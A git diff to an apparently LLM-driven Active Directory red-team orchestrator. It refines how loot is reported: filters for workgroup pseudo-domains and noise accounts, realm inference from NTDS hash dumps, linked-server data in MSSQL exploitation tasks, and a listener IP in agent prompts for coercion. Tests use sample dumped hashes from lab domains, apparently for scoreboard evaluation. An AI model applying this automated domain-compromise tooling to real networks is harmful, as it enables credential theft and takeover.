diff --git a/ares-cli/src/ops/loot/format/display.rs b/ares-cli/src/ops/loot/format/display.rs index 6262b9e6..ba1091fb 100644 --- a/ares-cli/src/ops/loot/format/display.rs +++ b/ares-cli/src/ops/loot/format/display.rs @@ -79,14 +79,32 @@ pub(super) fn print_loot_human( if state.has_domain_admin || state.has_golden_ticket { let mut lines = Vec::new(); + let total_domains = domains.len(); if state.has_domain_admin { - lines.push("\u{2605} DOMAIN ADMIN ACHIEVED".to_string()); + let da_count = achievements.values().filter(|a| a.has_da).count(); + if total_domains > 0 { + lines.push(format!( + "\u{2605} DOMAIN ADMIN ACHIEVED ({da_count}/{total_domains} domains)" + )); + } else { + lines.push("\u{2605} DOMAIN ADMIN ACHIEVED".to_string()); + } if let Some(path) = &state.domain_admin_path { lines.push(format!(" path: {path}")); } } if state.has_golden_ticket { - lines.push("\u{2605} GOLDEN TICKET OBTAINED".to_string()); + let gt_count = achievements + .values() + .filter(|a| a.has_golden_ticket) + .count(); + if total_domains > 0 { + lines.push(format!( + "\u{2605} GOLDEN TICKET OBTAINED ({gt_count}/{total_domains} domains)" + )); + } else { + lines.push("\u{2605} GOLDEN TICKET OBTAINED".to_string()); + } } let inner_width = lines.iter().map(|l| l.len()).max().unwrap_or(0) + 2; println!("\u{250c}{}\u{2510}", "\u{2500}".repeat(inner_width)); @@ -531,6 +549,35 @@ fn resolve_domain_fqdn(domain: &str, netbios_to_fqdn: &HashMap) lower } +/// Defensive filter for domains that originated from a Windows workgroup or +/// auto-generated computer name rather than a real Kerberos realm. +/// +/// Upstream parsers (`smb.rs`, `output_extraction::users`) drop these at +/// ingest, but old loot already in state may still carry them. Without this +/// filter, a stray `krbtgt@win-xxx.wgrp.local` row would flip the pseudo-domain +/// to "compromised" in the achievements rollup. +/// +/// Heuristic operates on a single domain string (no `(name:...)` context here): +/// matches literal `WORKGROUP`/`MSHOME`, and the Windows default computer-name +/// prefix `WIN-` followed by 11 alphanumerics as the first label. +fn looks_like_workgroup_pseudo_domain(domain: &str) -> bool { + let domain = domain.trim().trim_end_matches('.'); + if domain.is_empty() { + return false; + } + if domain.eq_ignore_ascii_case("WORKGROUP") || domain.eq_ignore_ascii_case("MSHOME") { + return true; + } + let first_label = domain.split('.').next().unwrap_or(""); + if first_label.len() == 15 && first_label[..4].eq_ignore_ascii_case("WIN-") { + let suffix = &first_label[4..]; + if suffix.bytes().all(|b| b.is_ascii_alphanumeric()) { + return true; + } + } + false +} + /// Per-domain achievement status. #[derive(Default)] pub(super) struct DomainAchievement { @@ -552,7 +599,7 @@ pub(super) fn build_domain_achievements( for h in hashes { if h.username.eq_ignore_ascii_case("krbtgt") { let domain = resolve_domain_fqdn(&h.domain, &state.netbios_to_fqdn); - if domain.is_empty() { + if domain.is_empty() || looks_like_workgroup_pseudo_domain(&domain) { continue; } let entry = achievements.entry(domain).or_default(); @@ -569,7 +616,7 @@ pub(super) fn build_domain_achievements( if let Some(domain_val) = vuln.details.get("domain") { let raw = domain_val.as_str().unwrap_or(""); let domain = resolve_domain_fqdn(raw, &state.netbios_to_fqdn); - if !domain.is_empty() { + if !domain.is_empty() && !looks_like_workgroup_pseudo_domain(&domain) { achievements.entry(domain).or_default().has_golden_ticket = true; } } @@ -580,7 +627,7 @@ pub(super) fn build_domain_achievements( for c in credentials { if c.is_admin { let domain = resolve_domain_fqdn(&c.domain, &state.netbios_to_fqdn); - if domain.is_empty() { + if domain.is_empty() || looks_like_workgroup_pseudo_domain(&domain) { continue; } let entry = achievements.entry(domain).or_default(); @@ -595,7 +642,7 @@ pub(super) fn build_domain_achievements( for h in hashes { if h.username.eq_ignore_ascii_case("administrator") { let domain = resolve_domain_fqdn(&h.domain, &state.netbios_to_fqdn); - if domain.is_empty() { + if domain.is_empty() || looks_like_workgroup_pseudo_domain(&domain) { continue; } let entry = achievements.entry(domain).or_default(); @@ -1086,6 +1133,53 @@ mod tests { assert!(achievements.is_empty()); } + #[test] + fn build_domain_achievements_skips_workgroup_pseudo_domain() { + // Old loot row from before the upstream parsers learned to drop + // workgroup pseudo-domains: an attacker-box krbtgt entry tagged with + // the auto-generated WIN-XXX...wgrp.local string. The achievements + // rollup must NOT promote it to a "compromised domain" (DA). + let state = empty_state(); + let hashes = vec![ + make_hash("krbtgt", "win-abcdefghijk.wgrp.local", "ntlm"), + make_hash("Administrator", "WORKGROUP", "ntlm"), + // Real domain alongside the polluted ones must still come through. + make_hash("krbtgt", "contoso.local", "ntlm"), + ]; + let credentials = vec![make_credential("admin", "win-abcdefghijk.local", true)]; + + let achievements = build_domain_achievements(&state, &hashes, &credentials); + assert!(!achievements.contains_key("win-abcdefghijk.wgrp.local")); + assert!(!achievements.contains_key("workgroup")); + assert!(!achievements.contains_key("win-abcdefghijk.local")); + assert!(achievements.get("contoso.local").unwrap().has_da); + } + + #[test] + fn looks_like_workgroup_pseudo_domain_detects_win_prefix() { + assert!(looks_like_workgroup_pseudo_domain( + "win-abcdefghijk.wgrp.local" + )); + assert!(looks_like_workgroup_pseudo_domain("WIN-ABCDEFGHIJK.local")); + assert!(looks_like_workgroup_pseudo_domain("WORKGROUP")); + assert!(looks_like_workgroup_pseudo_domain("mshome")); + } + + #[test] + fn looks_like_workgroup_pseudo_domain_passes_real_domain() { + assert!(!looks_like_workgroup_pseudo_domain("contoso.local")); + assert!(!looks_like_workgroup_pseudo_domain("child.contoso.local")); + assert!(!looks_like_workgroup_pseudo_domain("fabrikam.local")); + assert!(!looks_like_workgroup_pseudo_domain("")); + // Wrong length / suffix shape — don't over-trigger + assert!(!looks_like_workgroup_pseudo_domain("win-short.local")); + assert!(!looks_like_workgroup_pseudo_domain( + "win-toolongsuffix9.local" + )); + // First label has WIN- prefix but has non-alphanumeric in the suffix + assert!(!looks_like_workgroup_pseudo_domain("win-abc!defghij.local")); + } + // Domain/forest structure computation (inline in print_loot_human) /// Extract the domain/forest structure logic into a helper we can test. diff --git a/ares-cli/src/ops/loot/format/json.rs b/ares-cli/src/ops/loot/format/json.rs index 81a4b990..afaf7564 100644 --- a/ares-cli/src/ops/loot/format/json.rs +++ b/ares-cli/src/ops/loot/format/json.rs @@ -4,6 +4,7 @@ use ares_core::models::SharedRedTeamState; use super::display::build_domain_achievements; use super::hosts::dedup_hosts; +use super::report_filter::{is_reportable_credential, is_reportable_hash}; use crate::dedup::{dedup_credentials, dedup_hashes, dedup_users}; pub(super) fn print_loot_json( @@ -13,6 +14,7 @@ pub(super) fn print_loot_json( domains: &[String], ) { let unique_users = dedup_users(&state.all_users, &state.netbios_to_fqdn); + // dedup first (achievements need the full set), then filter for reporting. let unique_creds = dedup_credentials(credentials); let unique_hashes = dedup_hashes(hashes); let merged_hosts = dedup_hosts( @@ -21,9 +23,23 @@ pub(super) fn print_loot_json( &state.domain_controllers, ); - // Build per-domain compromise status + // Build per-domain compromise status from the full deduped set — krbtgt + // hashes and admin entries credit DA/Golden-Ticket achievements even + // though they're filtered from the report's credentials/hashes lists. let achievements = build_domain_achievements(state, &unique_hashes, &unique_creds); + // Drop noise (machine accounts, krbtgt, local-SAM built-ins, + // already-cracked hash blobs) before serializing the cred/hash lists + // consumed by external scoreboards. + let report_creds: Vec<&ares_core::models::Credential> = unique_creds + .iter() + .filter(|c| is_reportable_credential(c)) + .collect(); + let report_hashes: Vec<&ares_core::models::Hash> = unique_hashes + .iter() + .filter(|h| is_reportable_hash(h)) + .collect(); + // Build forest structure let mut all_domains: Vec = domains .iter() @@ -135,13 +151,13 @@ pub(super) fn print_loot_json( "is_admin": u.is_admin, "source": u.source, })).collect::>(), - "credentials": unique_creds.iter().map(|c| serde_json::json!({ + "credentials": report_creds.iter().map(|c| serde_json::json!({ "username": c.username, "password": c.password, "domain": c.domain, "is_admin": c.is_admin, })).collect::>(), - "hashes": unique_hashes.iter().map(|h| serde_json::json!({ + "hashes": report_hashes.iter().map(|h| serde_json::json!({ "username": h.username, "domain": h.domain, "hash_type": h.hash_type, diff --git a/ares-cli/src/ops/loot/format/mod.rs b/ares-cli/src/ops/loot/format/mod.rs index 96f87b1e..694b9959 100644 --- a/ares-cli/src/ops/loot/format/mod.rs +++ b/ares-cli/src/ops/loot/format/mod.rs @@ -1,6 +1,7 @@ mod display; mod hosts; mod json; +mod report_filter; use ares_core::models::SharedRedTeamState; diff --git a/ares-cli/src/ops/loot/format/report_filter.rs b/ares-cli/src/ops/loot/format/report_filter.rs new file mode 100644 index 00000000..d134d3ed --- /dev/null +++ b/ares-cli/src/ops/loot/format/report_filter.rs @@ -0,0 +1,199 @@ +//! Filters that decide which credentials and hashes are surfaced in the loot +//! JSON output consumed by external scoreboards (e.g. DreadGOAD). +//! +//! These are *report-boundary* filters, not state filters — internal logic +//! (Golden Ticket detection, dedup, etc.) still sees every credential and hash. +//! We drop entries here that would pollute the scoreboard with non-objective +//! noise: machine account hashes from NTDS dumps, local-SAM built-ins, +//! krbtgt (used internally as a Golden-Ticket signal, not a cred objective), +//! and Kerberoast/AS-REP hash blobs that have already been cracked into a +//! Credential row (the same user otherwise shows up twice — once verified +//! via the cracked password, once unmatched via the raw ticket blob). + +use ares_core::models::{Credential, Hash}; + +/// Built-in / system accounts that aren't credit-worthy AD-user findings. +/// +/// `krbtgt` is included because it's consumed internally by Golden Ticket +/// detection rather than tracked as a cred objective. +const NOISE_USERNAMES: &[&str] = &[ + "krbtgt", + "guest", + "defaultaccount", + "wdagutilityaccount", + "ssm-user", + "ansible", +]; + +fn is_machine_account(username: &str) -> bool { + username.ends_with('$') +} + +fn is_noise_username(username: &str) -> bool { + let lower = username.to_lowercase(); + NOISE_USERNAMES.iter().any(|n| *n == lower) +} + +/// Local SAM accounts arrive with no domain (or a synthetic hostname) and +/// match a small set of well-known names. The bare `Administrator` account +/// is local-SAM-only when domain is empty; the actual Domain Admin always +/// carries a real FQDN, so this won't drop credit-worthy DA findings. +fn is_local_sam_builtin(username: &str, domain: &str) -> bool { + if !domain.trim().is_empty() { + return false; + } + matches!( + username.to_lowercase().as_str(), + "administrator" | "guest" | "defaultaccount" | "wdagutilityaccount" + ) +} + +/// True if a credential should be surfaced in the loot JSON output. +pub(super) fn is_reportable_credential(c: &Credential) -> bool { + let username = c.username.trim(); + if username.is_empty() { + return false; + } + if is_machine_account(username) { + return false; + } + if is_noise_username(username) { + return false; + } + if is_local_sam_builtin(username, &c.domain) { + return false; + } + true +} + +/// True if a hash should be surfaced in the loot JSON output. +/// +/// Hashes whose `cracked_password` is set are dropped because the cracked +/// form is already emitted as a Credential — keeping the hash too produces +/// a duplicate finding under the same `target` with a different `evidence` +/// string, which scoreboards count as a separate (unmatched) finding. +pub(super) fn is_reportable_hash(h: &Hash) -> bool { + let username = h.username.trim(); + if username.is_empty() { + return false; + } + if is_machine_account(username) { + return false; + } + if is_noise_username(username) { + return false; + } + if is_local_sam_builtin(username, &h.domain) { + return false; + } + if h.cracked_password.is_some() { + return false; + } + true +} + +#[cfg(test)] +mod tests { + use super::*; + + fn cred(username: &str, domain: &str) -> Credential { + Credential { + id: "id".into(), + username: username.into(), + password: "P@ssw0rd!".into(), + domain: domain.into(), + source: String::new(), + discovered_at: None, + is_admin: false, + parent_id: None, + attack_step: 0, + } + } + + fn hash(username: &str, domain: &str, cracked: Option<&str>) -> Hash { + Hash { + id: "id".into(), + username: username.into(), + hash_value: "deadbeef".into(), + hash_type: "NTLM".into(), + domain: domain.into(), + cracked_password: cracked.map(String::from), + source: String::new(), + discovered_at: None, + parent_id: None, + attack_step: 0, + aes_key: None, + } + } + + #[test] + fn keeps_real_user() { + assert!(is_reportable_credential(&cred("alice", "contoso.local"))); + assert!(is_reportable_hash(&hash("alice", "contoso.local", None))); + } + + #[test] + fn drops_machine_accounts() { + assert!(!is_reportable_credential(&cred("DC01$", "contoso.local"))); + assert!(!is_reportable_hash(&hash("DC01$", "contoso.local", None))); + // Even with a domain attached — secretsdump tags machine accounts to + // their host's FQDN, which is how the cross-domain duplicate appears. + assert!(!is_reportable_hash(&hash( + "DC02$", + "child.contoso.local", + None + ))); + } + + #[test] + fn drops_krbtgt() { + assert!(!is_reportable_hash(&hash("krbtgt", "contoso.local", None))); + assert!(!is_reportable_hash(&hash("KRBTGT", "contoso.local", None))); + } + + #[test] + fn drops_local_sam_builtins() { + assert!(!is_reportable_credential(&cred("Guest", ""))); + assert!(!is_reportable_credential(&cred("DefaultAccount", ""))); + assert!(!is_reportable_credential(&cred("WDAGUtilityAccount", ""))); + // Empty-domain Administrator is local SAM, not Domain Admin. + assert!(!is_reportable_credential(&cred("Administrator", ""))); + } + + #[test] + fn keeps_domain_administrator() { + // Real DA always carries the FQDN — must not be dropped. + assert!(is_reportable_credential(&cred( + "Administrator", + "contoso.local" + ))); + } + + #[test] + fn drops_system_service_accounts() { + assert!(!is_reportable_credential(&cred("ssm-user", ""))); + assert!(!is_reportable_credential(&cred( + "ansible", + "fabrikam.local" + ))); + } + + #[test] + fn drops_cracked_hash_to_avoid_double_count() { + // Kerberoast/AS-REP blob whose password has been recovered: the cracked + // form is already emitted as a Credential; keep it from showing up + // twice in the loot report. + assert!(!is_reportable_hash(&hash( + "sql_svc", + "fabrikam.local", + Some("CrackedPW!") + ))); + assert!(is_reportable_hash(&hash("sql_svc", "fabrikam.local", None))); + } + + #[test] + fn drops_empty_username() { + assert!(!is_reportable_credential(&cred("", "contoso.local"))); + assert!(!is_reportable_hash(&hash("", "contoso.local", None))); + } +} diff --git a/ares-cli/src/orchestrator/automation/mssql_exploitation.rs b/ares-cli/src/orchestrator/automation/mssql_exploitation.rs index 8c2ab558..69db94f1 100644 --- a/ares-cli/src/orchestrator/automation/mssql_exploitation.rs +++ b/ares-cli/src/orchestrator/automation/mssql_exploitation.rs @@ -82,6 +82,18 @@ pub async fn auto_mssql_exploitation( .unwrap_or("") .to_string(); + // For mssql_linked_server vulns, the parser stored the + // linked-server name in details. Forward it into the + // task payload so the template renders it as a real + // value instead of asking the LLM to copy it from + // mssql_enum_linked_servers output. + let linked_server = vuln + .details + .get("linked_server") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(); + // Find a credential for MSSQL access. // Prefer creds for the target domain, fall back to any cred. let credential = state @@ -115,6 +127,7 @@ pub async fn auto_mssql_exploitation( target_ip, domain, hostname, + linked_server, credential, }) }) @@ -127,7 +140,7 @@ pub async fn auto_mssql_exploitation( None => continue, }; - let payload = json!({ + let mut payload = json!({ "technique": "mssql_deep_exploitation", "vuln_type": "mssql_access", "vuln_id": item.vuln_id, @@ -147,6 +160,9 @@ pub async fn auto_mssql_exploitation( "Enumerate linked servers for lateral movement", ], }); + if !item.linked_server.is_empty() { + payload["linked_server"] = json!(item.linked_server); + } let priority = dispatcher.effective_priority("mssql_access"); match dispatcher @@ -185,6 +201,9 @@ struct MssqlDeepWork { target_ip: String, domain: String, hostname: String, + /// Linked-server name when the source vuln is `mssql_linked_server`. + /// Empty for plain `mssql_access` vulns. + linked_server: String, credential: Option, } diff --git a/ares-cli/src/orchestrator/llm_runner.rs b/ares-cli/src/orchestrator/llm_runner.rs index 039db0cb..cc851dee 100644 --- a/ares-cli/src/orchestrator/llm_runner.rs +++ b/ares-cli/src/orchestrator/llm_runner.rs @@ -31,6 +31,10 @@ pub struct LlmTaskRunner { /// Sorted technique priorities from strategy (technique, weight). /// Passed to the system prompt template to render a dynamic priority table. technique_priorities: Vec<(String, i32)>, + /// Orchestrator listener IP — injected into agent prompt templates so + /// example tool calls (e.g. coercion `listener=...`) show the real IP + /// instead of a literal that the LLM may copy verbatim. + listener_ip: String, /// Deferred callback handler — set after construction to break the /// `LlmTaskRunner → Dispatcher → LlmTaskRunner` circular dependency. callback_handler: OnceLock>, @@ -44,6 +48,7 @@ impl LlmTaskRunner { state: SharedState, temperature: Option, technique_priorities: Vec<(String, i32)>, + listener_ip: String, ) -> Self { // Layer env-var overrides (ARES_AGENT_*, ARES_CONTEXT_*, ARES_BUDGET_*, // ARES_SESSION_LOG_*) on top of compiled defaults so operators can @@ -55,6 +60,7 @@ impl LlmTaskRunner { state, config, technique_priorities, + listener_ip, callback_handler: OnceLock::new(), } } @@ -91,7 +97,12 @@ impl LlmTaskRunner { let snapshot = self.state.snapshot().await; // 2. Build system prompt from agent template - let system_prompt = build_system_prompt(role, &snapshot, &self.technique_priorities)?; + let system_prompt = build_system_prompt( + role, + &snapshot, + &self.technique_priorities, + &self.listener_ip, + )?; // 3. Build task prompt from Tera template + payload let task_prompt = build_task_prompt(task_type, task_id, payload, &snapshot)?; @@ -162,6 +173,7 @@ fn build_system_prompt( role: AgentRole, snapshot: &StateSnapshot, technique_priorities: &[(String, i32)], + listener_ip: &str, ) -> Result { // Get capabilities from the tool definitions for this role let tools = tool_registry::tools_for_role(role); @@ -188,7 +200,13 @@ fn build_system_prompt( } else { Some(technique_priorities) }; - let system_instructions = templates::render_system_instructions(None, priorities)?; + let op = templates::OperationContext { + target_domain: &snapshot.target_domain, + target_dc_ip: &snapshot.target_dc_ip, + target_dc_fqdn: &snapshot.target_dc_fqdn, + listener_ip, + }; + let system_instructions = templates::render_system_instructions(None, priorities, op)?; // Render agent-specific instructions let agent_instructions = templates::render_agent_instructions( @@ -196,6 +214,7 @@ fn build_system_prompt( &capabilities, !snapshot.undominated_forests.is_empty(), &snapshot.undominated_forests, + op, )?; Ok(format!("{system_instructions}\n\n{agent_instructions}")) @@ -379,7 +398,7 @@ mod tests { AgentRole::Coercion, AgentRole::Orchestrator, ] { - let result = build_system_prompt(*role, &snapshot, &[]); + let result = build_system_prompt(*role, &snapshot, &[], "192.168.58.50"); assert!(result.is_ok(), "Failed for role: {:?}", role); let prompt = result.unwrap(); assert!(!prompt.is_empty(), "Empty prompt for role: {:?}", role); diff --git a/ares-cli/src/orchestrator/mod.rs b/ares-cli/src/orchestrator/mod.rs index 4c57df17..088b2c07 100644 --- a/ares-cli/src/orchestrator/mod.rs +++ b/ares-cli/src/orchestrator/mod.rs @@ -342,6 +342,7 @@ async fn run_inner() -> Result<()> { shared_state.clone(), config.strategy.llm_temperature, technique_priorities, + config.listener_ip.clone().unwrap_or_default(), )); info!( model = %model_name, diff --git a/ares-cli/src/orchestrator/output_extraction/hashes.rs b/ares-cli/src/orchestrator/output_extraction/hashes.rs index 06d3feec..5bff60f9 100644 --- a/ares-cli/src/orchestrator/output_extraction/hashes.rs +++ b/ares-cli/src/orchestrator/output_extraction/hashes.rs @@ -51,6 +51,28 @@ pub fn extract_hashes(output: &str, default_domain: &str) -> Vec { i += 1; } + // Pre-scan: infer the dump's actual realm from `DOMAIN\user:rid:lm:nt:::` + // rows in the same output. The task's `default_domain` is *intent* (what + // the orchestrator aimed at); domain-prefixed rows are *evidence* of what + // was really dumped. Trusting `default_domain` over the prefixed evidence + // creates phantom krbtgt entries whenever a credential_access task + // dispatched at e.g. fabrikam.local actually re-dumped a different realm's + // NTDS — every unprefixed `krbtgt:502:...:::` then gets attributed to the + // intended realm and dreadgoad falsely promotes it to "compromised". + // Take the most-common prefix; if none, fall back to default_domain. + let inferred_domain: Option = { + let mut counts: std::collections::HashMap = std::collections::HashMap::new(); + for line in &unwrapped { + if let Some(caps) = RE_NTLM_DOMAIN.captures(line) { + let dom = caps.get(1).unwrap().as_str().trim().to_string(); + if !dom.is_empty() { + *counts.entry(dom).or_insert(0) += 1; + } + } + } + counts.into_iter().max_by_key(|(_, c)| *c).map(|(d, _)| d) + }; + for line in &unwrapped { // Priority: TGS → AS-REP → NTLM (first match wins) @@ -145,8 +167,14 @@ pub fn extract_hashes(output: &str, default_domain: &str) -> Vec { // with the AD `default_domain` or they masquerade as domain // accounts and collide cross-domain. krbtgt (RID 502) is excluded // because it's always an AD account. + // + // Domain attribution preference: dump-evidence (`inferred_domain` + // from any DOMAIN-prefixed rows in the same output) outranks + // task-intent (`default_domain`). See pre-scan above. let domain = if is_well_known_local_sam(username, rid) { String::new() + } else if let Some(ref inferred) = inferred_domain { + inferred.clone() } else { default_domain.to_string() }; @@ -422,4 +450,66 @@ WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:1234567890abcdef12345678 fn extract_cracked_passwords_empty() { assert!(extract_cracked_passwords("", "CONTOSO").is_empty()); } + + #[test] + fn unprefixed_krbtgt_inherits_dump_realm_not_default_domain() { + // Real-world bug: a credential_access task dispatched against + // `fabrikam.local` actually re-dumped a different DC's NTDS. The dump + // output has unprefixed `krbtgt:502:...` alongside + // `CHILD.CONTOSO.LOCAL\alice:...:::` rows. + // Pre-fix: krbtgt got tagged with `fabrikam.local` (task intent), + // creating a phantom krbtgt entry that flipped dreadgoad's "domain + // owned" for fabrikam. Post-fix: the prefixed rows in the same output + // are evidence the dump came from `CHILD.CONTOSO.LOCAL`, so the + // unprefixed krbtgt inherits THAT realm. + let output = "\ +[*] Dumping the NTDS, this could take a while +Administrator:500:aad3b435b51404eeaad3b435b51404ee:2e993405ab82e4454afc9c9bb0939a25::: +Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: +krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8c6d94541dbc90f085e86828428d2cbf::: +CHILD.CONTOSO.LOCAL\\alice:1119:aad3b435b51404eeaad3b435b51404ee:4f622f4cd4284a887228940e2ff4e709::: +CHILD.CONTOSO.LOCAL\\bob:1106:aad3b435b51404eeaad3b435b51404ee:d977b98c6c9282c5c478be1d97b237b8:::"; + let hashes = extract_hashes(output, "fabrikam.local"); + let krbtgt = hashes + .iter() + .find(|h| h.username == "krbtgt") + .expect("krbtgt should be extracted"); + assert_eq!( + krbtgt.domain, "CHILD.CONTOSO.LOCAL", + "krbtgt must inherit the realm proven by the prefixed rows, NOT the task's default_domain" + ); + assert_ne!( + krbtgt.domain, "fabrikam.local", + "krbtgt must NOT be tagged with the task's intent domain when the dump is from another realm" + ); + } + + #[test] + fn unprefixed_krbtgt_uses_default_domain_when_no_prefixed_rows() { + // Sanity: when there are NO domain-prefixed rows, fall back to + // default_domain (existing behavior — covers older impacket dumps, + // `-just-dc-user krbtgt`, etc.). + let output = "\ +Administrator:500:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42::: +krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8c6d94541dbc90f085e86828428d2cbf:::"; + let hashes = extract_hashes(output, "contoso.local"); + let krbtgt = hashes.iter().find(|h| h.username == "krbtgt").unwrap(); + assert_eq!(krbtgt.domain, "contoso.local"); + } + + #[test] + fn inferred_domain_picks_most_common_prefix() { + // When multiple distinct prefixes appear, prefer the most common — + // that's the realm being dumped; the others are likely trust account + // references or stale rows from other contexts. + let output = "\ +CHILD.CONTOSO.LOCAL\\alice:1119:aad3b435b51404eeaad3b435b51404ee:4f622f4cd4284a887228940e2ff4e709::: +CHILD.CONTOSO.LOCAL\\bob:1106:aad3b435b51404eeaad3b435b51404ee:d977b98c6c9282c5c478be1d97b237b8::: +CHILD.CONTOSO.LOCAL\\carol:1107:aad3b435b51404eeaad3b435b51404ee:cba36eccfd9d949c73bc73715364aff5::: +CONTOSO\\Administrator:500:aad3b435b51404eeaad3b435b51404ee:abcdef0011223344556677889900aabb::: +krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8c6d94541dbc90f085e86828428d2cbf:::"; + let hashes = extract_hashes(output, "fabrikam.local"); + let krbtgt = hashes.iter().find(|h| h.username == "krbtgt").unwrap(); + assert_eq!(krbtgt.domain, "CHILD.CONTOSO.LOCAL"); + } } diff --git a/ares-cli/src/orchestrator/output_extraction/users.rs b/ares-cli/src/orchestrator/output_extraction/users.rs index a1dec373..2fa64a24 100644 --- a/ares-cli/src/orchestrator/output_extraction/users.rs +++ b/ares-cli/src/orchestrator/output_extraction/users.rs @@ -6,6 +6,34 @@ use ares_core::models::User; static RE_DOMAIN_CONTEXT: LazyLock = LazyLock::new(|| Regex::new(r"(?i)\(domain:([^)]+)\)").unwrap()); +static RE_NAME_CONTEXT: LazyLock = + LazyLock::new(|| Regex::new(r"(?i)\(name:([^)]+)\)").unwrap()); + +/// True when a `(domain:Y)` value paired with `(name:X)` on an SMB banner line +/// is a workgroup or self-named pseudo-domain rather than a real Kerberos +/// realm. Mirrors the heuristic in `ares-tools::parsers::smb` — kept local to +/// avoid a cross-crate dep just for one helper. Non-domain-joined Windows +/// hosts emit `(domain:WORKGROUP)` or `(domain:WIN-XXX.AUTOGEN.LOCAL)` where +/// the first label of the domain is the host's own NetBIOS name; pinning +/// `current_domain` to that string later attributes extracted users (and any +/// hashes that get tagged from this context) to a phantom AD domain. +fn is_workgroup_domain(name: &str, domain: &str) -> bool { + let domain = domain.trim().trim_end_matches('.'); + if domain.is_empty() { + return false; + } + if domain.eq_ignore_ascii_case("WORKGROUP") || domain.eq_ignore_ascii_case("MSHOME") { + return true; + } + if !name.is_empty() { + let first_label = domain.split('.').next().unwrap_or(""); + if first_label.eq_ignore_ascii_case(name) { + return true; + } + } + false +} + pub(crate) static RE_DOMAIN_BACKSLASH: LazyLock = LazyLock::new(|| Regex::new(r"([A-Za-z0-9_.\-]+)\\([A-Za-z0-9_.\-$]+)").unwrap()); @@ -83,12 +111,19 @@ pub fn extract_users(output: &str, default_domain: &str) -> Vec { let stripped = line.trim(); if let Some(caps) = RE_DOMAIN_CONTEXT.captures(stripped) { - current_domain = caps + let candidate = caps .get(1) .unwrap() .as_str() .trim_end_matches('.') .to_string(); + let line_name = RE_NAME_CONTEXT + .captures(stripped) + .map(|c| c.get(1).unwrap().as_str().trim().to_string()) + .unwrap_or_default(); + if !is_workgroup_domain(&line_name, &candidate) { + current_domain = candidate; + } } let mut found = Vec::new(); @@ -216,4 +251,49 @@ mod tests { fn extract_users_empty_output() { assert!(extract_users("", "contoso.local").is_empty()); } + + #[test] + fn extract_users_ignores_workgroup_domain_context() { + // SMB banner from a non-domain-joined host (the attacker's own kali + // box) appears in the same enumeration output as a real target. The + // workgroup `(domain:WIN-ABCDEFGHIJK.WGRP.LOCAL)` must NOT overwrite + // `current_domain`, so the user extracted on the next line stays + // attributed to the operator's intended `default_domain` rather than + // a phantom AD realm. + let output = "\ +SMB 192.168.58.178 445 WIN-ABCDEFGHIJK [*] Windows 10 (name:WIN-ABCDEFGHIJK) (domain:WIN-ABCDEFGHIJK.WGRP.LOCAL) (signing:False) +SMB 192.168.58.178 445 WIN-ABCDEFGHIJK [+] user:[svc_local]"; + let users = extract_users(output, "contoso.local"); + let svc = users + .iter() + .find(|u| u.username == "svc_local") + .expect("svc_local should be extracted"); + assert_eq!( + svc.domain, "contoso.local", + "workgroup banner must not overwrite default_domain" + ); + } + + #[test] + fn extract_users_keeps_real_domain_context() { + // Sanity check — real AD `(domain:contoso.local)` still updates + // current_domain. + let output = "\ +SMB 192.168.58.10 445 DC01 [*] Windows Server 2019 (name:DC01) (domain:contoso.local) (signing:True) +SMB 192.168.58.10 445 DC01 [+] user:[alice]"; + let users = extract_users(output, ""); + let alice = users.iter().find(|u| u.username == "alice").unwrap(); + assert_eq!(alice.domain, "contoso.local"); + } + + #[test] + fn is_workgroup_domain_detects_self_named() { + assert!(is_workgroup_domain( + "WIN-ABCDEFGHIJK", + "WIN-ABCDEFGHIJK.WGRP.LOCAL" + )); + assert!(is_workgroup_domain("anything", "WORKGROUP")); + assert!(!is_workgroup_domain("DC01", "contoso.local")); + assert!(!is_workgroup_domain("DC01", "")); + } } diff --git a/ares-cli/src/orchestrator/state/shared.rs b/ares-cli/src/orchestrator/state/shared.rs index ea805d49..92b36337 100644 --- a/ares-cli/src/orchestrator/state/shared.rs +++ b/ares-cli/src/orchestrator/state/shared.rs @@ -34,6 +34,40 @@ impl SharedState { &s.domain_controllers, ); + let target_domain = s + .target + .as_ref() + .map(|t| t.domain.clone()) + .filter(|d| !d.is_empty()) + .or_else(|| s.domains.first().cloned()) + .unwrap_or_default(); + // Prefer the DC IP for the primary target_domain; fall back to the + // configured Target's IP (which is the seed IP from operation config). + let target_dc_ip = s + .domain_controllers + .get(&target_domain) + .cloned() + .or_else(|| s.target.as_ref().map(|t| t.ip.clone())) + .unwrap_or_default(); + // Prefer the configured Target's hostname (already an FQDN); else find + // the first discovered DC host whose hostname matches target_domain. + let target_dc_fqdn = s + .target + .as_ref() + .map(|t| t.hostname.clone()) + .filter(|h| !h.is_empty() && h.contains('.')) + .or_else(|| { + s.hosts + .iter() + .find(|h| { + h.is_dc + && !h.hostname.is_empty() + && h.hostname.to_lowercase().ends_with(&target_domain) + }) + .map(|h| h.hostname.to_lowercase()) + }) + .unwrap_or_else(|| target_domain.clone()); + ares_llm::prompt::StateSnapshot { credentials: s.credentials.clone(), hashes: s.hashes.clone(), @@ -62,6 +96,10 @@ impl SharedState { .map(|s| s.to_lowercase()) }) .collect(), + target_domain, + target_dc_ip, + target_dc_fqdn, + listener_ip: std::env::var("ARES_LISTENER_IP").unwrap_or_default(), } } diff --git a/ares-cli/src/orchestrator/task_queue.rs b/ares-cli/src/orchestrator/task_queue.rs index 16fbc441..d69d6397 100644 --- a/ares-cli/src/orchestrator/task_queue.rs +++ b/ares-cli/src/orchestrator/task_queue.rs @@ -1018,7 +1018,7 @@ mod tests { "recon_abcdef123456", "recon", "scanner", - serde_json::json!({"target": "10.0.0.1"}), + serde_json::json!({"target": "192.168.58.10"}), "orchestrator", 5, ); @@ -1032,7 +1032,7 @@ mod tests { Some("ares.tasks.results.recon_abcdef123456"), ); assert!(msg.created_at.is_some()); - assert_eq!(msg.payload["target"], "10.0.0.1"); + assert_eq!(msg.payload["target"], "192.168.58.10"); } #[test] diff --git a/ares-cli/src/orchestrator/tool_dispatcher/tests.rs b/ares-cli/src/orchestrator/tool_dispatcher/tests.rs index 2a7e3b61..43d9c787 100644 --- 